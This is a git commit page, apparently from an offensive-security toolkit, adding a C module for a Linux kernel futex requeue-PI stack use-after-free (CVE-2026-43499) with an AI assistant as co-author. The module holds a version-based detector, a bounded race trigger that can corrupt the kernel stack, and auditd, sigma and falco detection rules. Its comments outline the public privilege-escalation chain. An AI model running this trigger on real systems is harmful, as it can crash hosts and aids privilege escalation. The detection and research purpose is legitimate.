modules: add ghostlock (CVE-2026-43499, "GhostLock" rtmutex/futex requeue-PI stack UAF)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions

Adds the ghostlock module for CVE-2026-43499 ("GhostLock", VEGA / Nebula
Security's "IonStack part II") — a ~15-year race UAF on kernel STACK memory in
the rtmutex/futex requeue-PI path (kernel/locking/rtmutex.c). On the -EDEADLK
deadlock-rollback, remove_waiter() runs against `current` instead of the waiter
task, so a concurrent sched_setattr()-driven PI-chain priority walk on another
CPU clears pi_blocked_on on the wrong task and leaves an on-stack rt_mutex_waiter
dangling. Reachable by any unprivileged user (CVSS 7.8, PR:L) — plain
futex(2) + sched_setattr(2), no userns/CONFIG beyond CONFIG_FUTEX_PI. The
corpus's first rtmutex/futex-PI module and first kernel-stack UAF (all others
are heap/slab).

Introduced 2.6.39; fixed 3bfdc63936dd (7.1-rc1), stable backports
7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with
no upstream fix. CWE-416; not in KEV.

detect() is a pure version gate over the five-branch backport table. exploit()
forks an isolated child that (A) deterministically confirms the -EDEADLK
remove_waiter() rollback path is reachable (safe — no concurrent walk means no
dangling pointer; validated on real hardware) then (B) exercises the actual race
a hard-bounded 24 iters / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm,
and stops. Deliberately under-driven: no copy_from_user widening, no stack-frame
spray/reoccupation, and the KernelSnitch leak -> forged-waiter ->
fops/ashmem/pipe R/W -> cred-patch chain (Android/Pixel-specific, per-build
offsets) is NOT bundled. Returns EXPLOIT_FAIL. Lowest --auto safety rank (11) —
a won race corrupts the kernel stack. Unlike most races it ships a real
detection signature (futex requeue-PI returning EDEADLK + sibling sched_setattr);
auditd/sigma anchor on sched_setattr, falco/eBPF on the EDEADLK tell; no yara.

Wired: registry, Makefile, safety rank 11, version 0.9.13, 9 detect() test rows
(incl. 6.13.0 -> VULNERABLE, the multi-branch "newer than all" case), CVE
metadata (CWE-416 / T1068 / not-KEV; cve_metadata.c + KEV_CROSSREF.md regenerated
-> 13 of 40), README + CVES.md + website counts (45 modules / 40 CVEs),
RELEASE_NOTES v0.9.13, verify-vm target. Also corrects pre-existing
docs/index.html drift left by v0.9.12 (body counts stuck at 43/38 and a missing
bad_epoll corpus pill). Tests: 33 kernel_range + 101 detect, all pass.

Credit: VEGA / Nebula Security (nebusec.ai, NebuSec/CyberMeowfia, Apache-2.0);
upstream fix 3bfdc63936dd (Keenan Dong / Thomas Gleixner).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KUq4DGXSPBmPkAyJ9WnM9n
This commit is contained in:
KaraZajac
2026-07-13 15:43:00 -04:00
parent 95589e26cb
commit 03324c8542
17 changed files with 999 additions and 49 deletions
@@ -0,0 +1,567 @@
/*
* ghostlock_cve_2026_43499 — SKELETONKEY module
*
* CVE-2026-43499 — "GhostLock", a race-condition use-after-free on kernel
* STACK memory in the Linux rtmutex / futex requeue-PI code path
* (kernel/locking/rtmutex.c). On the deadlock-rollback path,
* remove_waiter() operates on `current` instead of the actual waiter task
* while unwinding a proxy lock in rt_mutex_start_proxy_lock() — reached
* from futex_requeue(). If a concurrent PI-chain priority walk (driven
* from another CPU via sched_setattr()) runs at that instant,
* `pi_blocked_on` is cleared on the WRONG task and an on-stack
* `struct rt_mutex_waiter` is left dangling in a task's waiter / pi tree.
* When the kernel later rotates that rbtree over the (now-reused) stack
* frame, the forged node fields become a controlled kernel write → UAF.
* Reachable by ANY unprivileged local user (CVSS PR:L): plain futex(2) +
* sched_setattr(2), no user namespace, no capability, no special CONFIG
* beyond CONFIG_FUTEX_PI (universally enabled). The bug has existed since
* PI-futex requeue landed — ~15 years, across every distribution.
*
* Public research + PoC — "IonStack part II: GhostLock" by VEGA / Nebula
* Security (https://nebusec.ai/research/ionstack-part-2/; code at
* https://github.com/NebuSec/CyberMeowfia, Apache-2.0). A portable crash
* PoC drives the -EDEADLK rollback while a sibling-core consumer thread
* fires sched_setattr(SCHED_BATCH) to win the race; a separate full
* Android/Pixel LPE then forges the on-stack rt_mutex_waiter on a leaked
* kernel page (the "KernelSnitch" futex-bucket timing side channel),
* overwrites a struct file f_op → configfs/ashmem arbitrary R/W → pipe
* physical R/W → cred patch → root. ~97% stable on kernelCTF; Google
* awarded $92,337.
*
* CWE-416 (Use After Free) via CWE-362 (race). CVSS 7.8 (PR:L). Introduced
* ~2.6.39 (PI-futex requeue); fixed by commit 3bfdc63936dd ("rtmutex: Use
* waiter::task instead of current in remove_waiter()") merged for 7.1-rc1;
* stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175. The
* 5.15 / 5.10 / 5.4 / 4.19 LTS branches are AFFECTED with no upstream
* stable fix published at time of writing. NOT in CISA KEV (brand new).
*
* STATUS: 🟡 TRIGGER (reconstructed) — reachability-only, NOT VM-verified.
* exploit() forks an isolated child that, in two phases:
* (A) DETERMINISTIC + SAFE — builds the requeue-PI cycle (a waiter
* holding a "chain" PI-futex and parked in FUTEX_WAIT_REQUEUE_PI;
* an owner holding the "target" PI-futex and blocked on the chain)
* and fires FUTEX_CMP_REQUEUE_PI, confirming the kernel returns
* -EDEADLK. That -EDEADLK proves the remove_waiter() deadlock-
* rollback path (where the bug lives) is REACHABLE on this host.
* With no concurrent priority walk, the rollback is the kernel's
* normal, correct deadlock rejection — it creates no dangling
* pointer, so this phase is safe on any kernel.
* (B) HARD-BOUNDED window exercise — repeats (A) a small, wall-clock-
* capped number of times with a sibling-core consumer thread
* hammering sched_setattr(SCHED_BATCH) on the waiter's tid, so the
* PI-chain priority walk overlaps the rollback (the actual race).
* Then it STOPS. It deliberately OMITS the memfd/PUNCH_HOLE
* copy_from_user widening and the kernel-stack spray that make a
* win likely, does NOT reoccupy the freed frame, and does NOT
* bundle the KernelSnitch leak → forged-waiter → fops/configfs/
* ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
* per-build offsets). It returns EXPLOIT_FAIL and never claims
* root it did not get.
* A *won* race here corrupts the kernel STACK and drives a near-arbitrary
* pointer write — near-certain panic on a vulnerable host — which is why
* this carries the lowest --auto safety rank in the corpus (see
* module_safety_rank() in skeletonkey.c).
*
* detect() is a pure version gate: vulnerable iff the running kernel is
* >= 2.6.39 (when PI-futex requeue arrived) AND below the fix on its
* branch. CONFIG_FUTEX_PI is a (near-universal) precondition that
* detect() ASSUMES rather than probes — no distro tracker publishes a
* CONFIG gate and /proc/config.gz is often absent; there is likewise no
* userns / capability precondition (CVSS PR:L, any local user).
*
* arch_support: any — the bug and this reachability probe are arch-neutral
* (futex / sched_setattr / pthreads); only the public *weaponization* is
* arm64/Android-specific, and none of it is bundled here.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/syscall.h>
/* futex operation constants — define defensively; <linux/futex.h> is not
* always present and can clash with libc headers. */
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
#ifndef FUTEX_UNLOCK_PI
#define FUTEX_UNLOCK_PI 7
#endif
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_CLOCK_REALTIME
#define FUTEX_CLOCK_REALTIME 256
#endif
#ifndef SCHED_BATCH
#define SCHED_BATCH 3
#endif
/* ------------------------------------------------------------------
* Kernel-range table. Mainline fix landed in 7.1-rc1 (3bfdc63936dd);
* stable backports shipped per LTS branch below. A branch with an exact
* entry is patched iff host.patch >= entry.patch; any branch strictly
* newer than EVERY entry (i.e. 7.1+) is patched-via-mainline; every other
* branch (5.4/5.10/5.15 — affected, no upstream fix — and the EOL lines
* 6.2..6.5 / 6.7..6.11 / 6.13..6.17 / 6.19 / 7.0.<4) is still vulnerable.
* kernel_range_is_patched() implements exactly that. Extend the table as
* more branches publish backports (the drift checker flags them).
* Authoritative source: the Linux kernel CNA record (git.kernel.org
* /stable/c/<hash>), corroborated by Debian/Ubuntu/SUSE trackers.
* ------------------------------------------------------------------ */
static const struct kernel_patched_from ghostlock_patched_branches[] = {
{6, 1, 175}, /* 6.1 LTS — d8cce4773c2b */
{6, 6, 140}, /* 6.6 LTS — 8a1fc8d698ac */
{6, 12, 86}, /* 6.12 LTS — 6d52dfcb2a5d */
{6, 18, 27}, /* 6.18 — 3fb7394a8377 */
{7, 0, 4}, /* 7.0 — 88614876370a; 7.1+ inherits the mainline fix */
};
static const struct kernel_range ghostlock_range = {
.patched_from = ghostlock_patched_branches,
.n_patched_from = sizeof(ghostlock_patched_branches) /
sizeof(ghostlock_patched_branches[0]),
};
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] ghostlock: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* PI-futex requeue (and thus the vulnerable rt_mutex_start_proxy_lock
* / remove_waiter rollback) arrived in 2.6.39; older kernels predate
* the code entirely. (In practice nothing modern is below this, but
* the gate is here for correctness.) */
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 39)) {
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: kernel %s predates PI-futex requeue "
"(introduced 2.6.39) — not affected\n", v->release);
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&ghostlock_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] ghostlock: kernel %s is patched (>= 7.0.4 / "
"6.12.86 / 6.6.140 / 6.1.175 on-branch, or 7.1+ "
"mainline)\n", v->release);
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ghostlock: VULNERABLE — kernel %s below the fix on "
"its branch; rtmutex/futex requeue-PI remove_waiter() "
"stack UAF reachable by any unprivileged user (no userns "
"/ capability; assumes CONFIG_FUTEX_PI, near-universal)\n",
v->release);
fprintf(stderr, "[i] ghostlock: no unprivileged-userns or sysctl stopgap "
"applies (PI futexes cannot be disabled at runtime) — the "
"only fix is to patch the kernel\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
* Reconstructed reachability trigger (deliberately under-driven).
*
* Faithful minimal shape of the public PoC's requeue-PI cycle:
* waiter : LOCK_PI(chain); WAIT_REQUEUE_PI(wait -> target) [parks]
* owner : LOCK_PI(target); LOCK_PI(chain) [blocks]
* main : CMP_REQUEUE_PI(wait -> target) => -EDEADLK
* The requeue would make the waiter block on `target` (held by owner),
* owner is blocked on `chain` (held by waiter) → cycle → rt_mutex
* deadlock detection returns -EDEADLK and runs remove_waiter() rollback.
*
* Phase A (no consumer) confirms that rollback path is REACHABLE — safe,
* because without a concurrent PI priority walk the unwind is the normal
* correct deadlock rejection and leaves nothing dangling. Phase B adds a
* sibling-core sched_setattr(SCHED_BATCH) storm on the waiter's tid to
* overlap the walk with the rollback (the actual race), hard-bounded,
* then stops. We do NOT widen the copy_from_user window (no memfd /
* PUNCH_HOLE), do NOT spray/reoccupy the freed stack frame, and do NOT
* weaponise. The honest witness is coarse: the -EDEADLK reachability
* proof, plus a fault signal in the isolated child if a Phase-B race
* happened to fire. Absence of a fault does NOT prove the host is safe.
* ------------------------------------------------------------------ */
#define GHL_PROBE_ROUNDS 8 /* deterministic -EDEADLK confirmations (early-exit on first) */
#define GHL_RACE_ITERS 24 /* hard-bounded race-window exercise (concurrent sched_setattr) */
#define GHL_RACE_BUDGET_SECS 2 /* honest short cap (public PoC grinds for minutes) */
#define GHL_PARK_TIMEOUT_MS 60 /* parked waiter/owner self-unblock so no attempt hangs */
struct ghl_sched_attr {
uint32_t size;
uint32_t sched_policy;
uint64_t sched_flags;
int32_t sched_nice;
uint32_t sched_priority;
uint64_t sched_runtime;
uint64_t sched_deadline;
uint64_t sched_period;
};
struct ghl_attempt {
volatile uint32_t chain; /* PI futex the waiter holds */
volatile uint32_t target; /* PI futex the owner holds; requeue destination */
volatile uint32_t wait; /* plain futex the waiter parks on */
atomic_int waiter_ready; /* waiter holds chain + published tid */
atomic_int owner_ready; /* owner holds target + about to block on chain */
atomic_int waiter_tid; /* consumer targets this tid */
atomic_int stop; /* tear-down flag for the consumer */
};
static long ghl_futex(volatile uint32_t *uaddr, int op, uint32_t val,
void *timeout_or_val2, volatile uint32_t *uaddr2,
uint32_t val3)
{
return syscall(SYS_futex, uaddr, op, val, timeout_or_val2, uaddr2, val3);
}
static int ghl_gettid(void)
{
return (int)syscall(SYS_gettid);
}
static void ghl_pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
}
static void ghl_abs_realtime_ms(struct timespec *ts, long ms)
{
clock_gettime(CLOCK_REALTIME, ts);
ts->tv_sec += ms / 1000;
ts->tv_nsec += (ms % 1000) * 1000000L;
if (ts->tv_nsec >= 1000000000L) { ts->tv_sec++; ts->tv_nsec -= 1000000000L; }
}
static void *ghl_waiter_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(0);
/* Acquire the chain PI-futex (uncontended → success, sets it to our tid). */
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
atomic_store_explicit(&a->waiter_tid, ghl_gettid(), memory_order_release);
atomic_store_explicit(&a->waiter_ready, 1, memory_order_release);
/* Park, pre-queued to be requeued onto `target`. Short absolute timeout
* so we self-unblock even if the requeue is refused (-EDEADLK). */
struct timespec ts;
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
(void)ghl_futex(&a->wait, FUTEX_WAIT_REQUEUE_PI | FUTEX_CLOCK_REALTIME, 0,
&ts, &a->target, 0);
(void)ghl_futex(&a->chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
return NULL;
}
static void *ghl_owner_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(0);
while (!atomic_load_explicit(&a->waiter_ready, memory_order_acquire))
sched_yield();
(void)ghl_futex(&a->target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); /* hold target */
atomic_store_explicit(&a->owner_ready, 1, memory_order_release);
struct timespec ts;
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, &ts, NULL, 0); /* block on chain */
(void)ghl_futex(&a->target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
return NULL;
}
static void *ghl_consumer_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(1); /* sibling CPU */
while (!atomic_load_explicit(&a->waiter_tid, memory_order_acquire))
sched_yield();
int tid = atomic_load_explicit(&a->waiter_tid, memory_order_acquire);
struct ghl_sched_attr sa;
memset(&sa, 0, sizeof sa);
sa.size = sizeof sa;
sa.sched_policy = SCHED_BATCH;
sa.sched_nice = 19;
/* Hammer a PI-chain priority walk on the waiter concurrently with the
* rollback. SYS_sched_setattr may be absent on ancient toolchains. */
while (!atomic_load_explicit(&a->stop, memory_order_acquire)) {
#ifdef SYS_sched_setattr
(void)syscall(SYS_sched_setattr, tid, &sa, 0u);
#else
sched_yield();
#endif
}
return NULL;
}
/* One attempt: build the requeue-PI cycle and fire CMP_REQUEUE_PI. With
* with_race, run the concurrent sched_setattr storm. Returns 1 iff the
* kernel returned -EDEADLK (the rollback path was reached). */
static int ghl_one_attempt(int with_race)
{
struct ghl_attempt a;
memset(&a, 0, sizeof a);
pthread_t tw, to, tc;
int have_tc = 0;
if (pthread_create(&tw, NULL, ghl_waiter_fn, &a) != 0)
return 0;
while (!atomic_load_explicit(&a.waiter_ready, memory_order_acquire))
sched_yield();
if (pthread_create(&to, NULL, ghl_owner_fn, &a) != 0) {
atomic_store_explicit(&a.stop, 1, memory_order_release);
pthread_join(tw, NULL);
return 0;
}
while (!atomic_load_explicit(&a.owner_ready, memory_order_acquire))
sched_yield();
if (with_race && pthread_create(&tc, NULL, ghl_consumer_fn, &a) == 0)
have_tc = 1;
/* Settle: let the waiter park in WAIT_REQUEUE_PI and the owner in
* LOCK_PI(chain) before we close the cycle. */
usleep(3000);
errno = 0;
long r = ghl_futex(&a.wait, FUTEX_CMP_REQUEUE_PI, 1,
(void *)(uintptr_t)1, &a.target, 0);
int got_edeadlk = (r == -1 && errno == EDEADLK);
atomic_store_explicit(&a.stop, 1, memory_order_release);
if (have_tc) pthread_join(tc, NULL);
pthread_join(to, NULL); /* parked threads self-unblock via their timeouts */
pthread_join(tw, NULL);
return got_edeadlk;
}
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = ghostlock_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ghostlock: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] ghostlock: already running as root\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[*] ghostlock: reconstructed reachability probe — builds "
"the requeue-PI cycle and confirms the -EDEADLK "
"remove_waiter() rollback path is reachable, then exercises "
"the race window %d bounded times (%ds cap) with a "
"sibling-CPU sched_setattr storm, and stops. The "
"KernelSnitch leak → forged-waiter → fops/ashmem/pipe R/W "
"→ cred-patch root-pop is NOT bundled.\n",
GHL_RACE_ITERS, GHL_RACE_BUDGET_SECS);
/* Fork-isolated: a *won* Phase-B race corrupts the kernel stack. On a
* KASAN kernel that oopses (contained to the child); on a plain
* vulnerable kernel it may panic — which is exactly why the attempt
* count is hard-bounded and the window is never widened. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* Phase A — deterministic, safe reachability confirmation. */
int edeadlk = 0;
for (int i = 0; i < GHL_PROBE_ROUNDS && !edeadlk; i++)
edeadlk = ghl_one_attempt(0 /* no race */);
/* Phase B — hard-bounded window exercise (concurrent priority walk). */
int fired = 0;
time_t deadline = time(NULL) + GHL_RACE_BUDGET_SECS;
for (int i = 0; i < GHL_RACE_ITERS && time(NULL) < deadline; i++) {
(void)ghl_one_attempt(1 /* with race */);
fired = i + 1;
}
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: requeue-PI rollback reachable: %s; "
"%d bounded race-window iterations fired\n",
edeadlk ? "YES (-EDEADLK observed)" : "not observed", fired);
_exit(edeadlk ? 100 : 101);
}
int status;
waitpid(child, &status, 0);
if (WIFSIGNALED(status)) {
if (!ctx->json)
fprintf(stderr, "[!] ghostlock: child died by signal %d — the "
"requeue-PI stack UAF may have fired (KASAN oops / "
"corruption fault). This is the bug, but no root was "
"obtained.\n",
WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
if (WIFEXITED(status) &&
(WEXITSTATUS(status) == 100 || WEXITSTATUS(status) == 101)) {
if (!ctx->json) {
if (WEXITSTATUS(status) == 100)
fprintf(stderr, "[!] ghostlock: the vulnerable requeue-PI "
"deadlock-rollback path IS reachable here "
"(-EDEADLK) and the race window was exercised — "
"reconstructed primitive, honest EXPLOIT_FAIL.\n");
else
fprintf(stderr, "[!] ghostlock: race window exercised but the "
"-EDEADLK rollback path was not observed (timing, "
"or a hardened/patched-at-runtime kernel) — honest "
"EXPLOIT_FAIL.\n");
fprintf(stderr, "[i] ghostlock: to complete: port the public "
"KernelSnitch page leak + forged on-stack "
"rt_mutex_waiter + fops/configfs/ashmem/pipe R/W + "
"cred patch for CVE-2026-43499 (Android/Pixel-specific, "
"per-build offsets — not bundled).\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[-] ghostlock: probe setup failed (child rc=%d)\n",
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: Linux-only module (rtmutex/futex "
"requeue-PI stack UAF) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] ghostlock: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules -----
*
* Honesty note (see MODULE.md): unlike most kernel races, GhostLock has a
* genuinely distinctive behavioural tell — a futex requeue-PI operation
* (FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI) returning -EDEADLK, which
* glibc's requeue-PI usage inside pthread_cond_wait never provokes. The
* catch: auditd/sigma see the `futex` syscall but not its op-vs-return
* cheaply, and a bare `-S futex` watch would flood any host (futex is one
* of the busiest syscalls). So the deployable auditd/sigma rules anchor on
* the far rarer sched_setattr (the sibling-thread priority-walk driver) and
* the post-exploitation euid-0 transition; the high-fidelity
* requeue-PI-returns-EDEADLK signal is expressed in the falco/eBPF rule,
* which can see the op and the return value. Tune per environment.
*/
static const char ghostlock_auditd[] =
"# GhostLock — rtmutex/futex requeue-PI remove_waiter() stack UAF (CVE-2026-43499) — auditd rules\n"
"# NOTE: a bare `-S futex` watch would flood auditd (futex is ubiquitous) and\n"
"# auditd cannot cheaply test a syscall's return against its op, so we anchor on\n"
"# the far rarer sched_setattr — the GhostLock trigger fires it on a SIBLING\n"
"# thread in a tight loop (policy SCHED_BATCH) to drive the PI-chain priority\n"
"# walk that wins the race — plus sched_setaffinity CPU pinning of the racers.\n"
"# The high-fidelity 'requeue-PI returns EDEADLK' tell needs an eBPF/falco layer\n"
"# that can see the op+retval (see the shipped falco rule). Correlate these in\n"
"# your SIEM per-pid within a short window; individually they are benign.\n"
"-a always,exit -F arch=b64 -S sched_setattr -k skeletonkey-ghostlock-schedattr\n"
"-a always,exit -F arch=b64 -S sched_setaffinity -k skeletonkey-ghostlock-affinity\n"
"# Post-exploitation fallback: unprivileged process -> euid 0 with no setuid execve.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n"
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n";
static const char ghostlock_sigma[] =
"title: Possible CVE-2026-43499 GhostLock rtmutex/futex requeue-PI stack UAF\n"
"id: 2f8a6b4c-skeletonkey-ghostlock\n"
"status: experimental\n"
"description: |\n"
" GhostLock (CVE-2026-43499) is a stack UAF in the rtmutex/futex requeue-PI\n"
" rollback path, reachable by any unprivileged user via futex(2) +\n"
" sched_setattr(2). The strongest behavioural tell is a futex requeue-PI op\n"
" (FUTEX_WAIT_REQUEUE_PI=11 / FUTEX_CMP_REQUEUE_PI=12) returning -EDEADLK\n"
" (glibc never provokes this) interleaved with sched_setattr(SCHED_BATCH)\n"
" targeting a SIBLING thread and sched_setaffinity CPU pinning — but auditd\n"
" cannot see the futex op/return cheaply, so this rule keys on the rarer\n"
" sched_setattr driver and the post-exploitation euid-0 transition. Use the\n"
" falco/eBPF rule for the high-fidelity requeue-PI-EDEADLK signal. Expect\n"
" false positives from legitimate real-time / scheduler-tuning daemons.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" schedattr: {type: 'SYSCALL', syscall: 'sched_setattr'}\n"
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
" unpriv: {auid|expression: '>= 1000'}\n"
" condition: schedattr or (uid0 and unpriv)\n"
"level: medium\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43499]\n";
static const char ghostlock_falco[] =
"- rule: Futex requeue-PI EDEADLK with sibling sched_setattr (possible CVE-2026-43499)\n"
" desc: |\n"
" GhostLock (CVE-2026-43499) rtmutex/futex requeue-PI stack UAF. High-fidelity\n"
" tell (needs a futex-aware eBPF probe that exposes the op + return value): a\n"
" FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI that returns EDEADLK — glibc's\n"
" requeue-PI usage inside pthread_cond_wait never provokes it — combined with\n"
" the same tgid calling sched_setattr(SCHED_BATCH) on a sibling thread. Where\n"
" the probe cannot decode the futex op, fall back to the post-exploitation\n"
" effect below: a non-root process becoming root outside a setuid binary.\n"
" condition: >\n"
" (evt.type = futex and evt.rawres = -35) or\n"
" (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
" not proc.is_setuid = true and user.uid != 0)\n"
" output: >\n"
" Possible CVE-2026-43499 GhostLock requeue-PI stack UAF\n"
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type res=%evt.res)\n"
" priority: WARNING\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.43499]\n";
const struct skeletonkey_module ghostlock_module = {
.name = "ghostlock",
.cve = "CVE-2026-43499",
.summary = "rtmutex/futex requeue-PI remove_waiter() stack UAF (\"GhostLock\") — clears pi_blocked_on on the wrong task during -EDEADLK rollback; ~15-year range, unprivileged, no userns",
.family = "rtmutex",
.kernel_range = "2.6.39 <= K < fix (introduced with PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with no upstream stable fix; < 2.6.39 not affected",
.detect = ghostlock_detect,
.exploit = ghostlock_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel — PI futexes cannot be disabled at runtime, no userns/sysctl stopgap */
.cleanup = NULL, /* trigger creates only throwaway futex words + threads in a fork-isolated child; no host artifacts */
.detect_auditd = ghostlock_auditd,
.detect_sigma = ghostlock_sigma,
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
.detect_falco = ghostlock_falco,
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 2.6.39 AND below the on-branch fix: stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal). exploit() forks an isolated child that (A) builds the requeue-PI cycle and confirms the -EDEADLK remove_waiter() rollback path is reachable — deterministic and safe, since without a concurrent priority walk the unwind creates no dangling pointer — then (B) exercises the actual race a hard-bounded 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter's tid, and stops. It is deliberately UNDER-DRIVEN: it does not widen the copy_from_user window (no memfd/PUNCH_HOLE), does not spray/reoccupy the freed kernel-stack frame, and does not bundle the KernelSnitch leak → forged on-stack rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred-patch root-pop (Android/Pixel-specific, per-build offsets); the trigger is reconstructed from the public VEGA/Nebula PoC, not VM-verified, and returns EXPLOIT_FAIL. Telemetry footprint — unlike most kernel races GhostLock has a real behavioural signature: a burst of futex requeue-PI ops returning EDEADLK (glibc never does this) plus tight-loop sched_setattr(SCHED_BATCH) on a sibling thread and sched_setaffinity CPU pinning; and, only if a Phase-B race fires on a vulnerable host, a possible KASAN oops or kernel-stack panic. No persistent files. Lowest --auto safety rank in the corpus: a won race corrupts the kernel stack and drives a near-arbitrary pointer write.",
.arch_support = "any",
};
void skeletonkey_register_ghostlock(void)
{
skeletonkey_register(&ghostlock_module);
}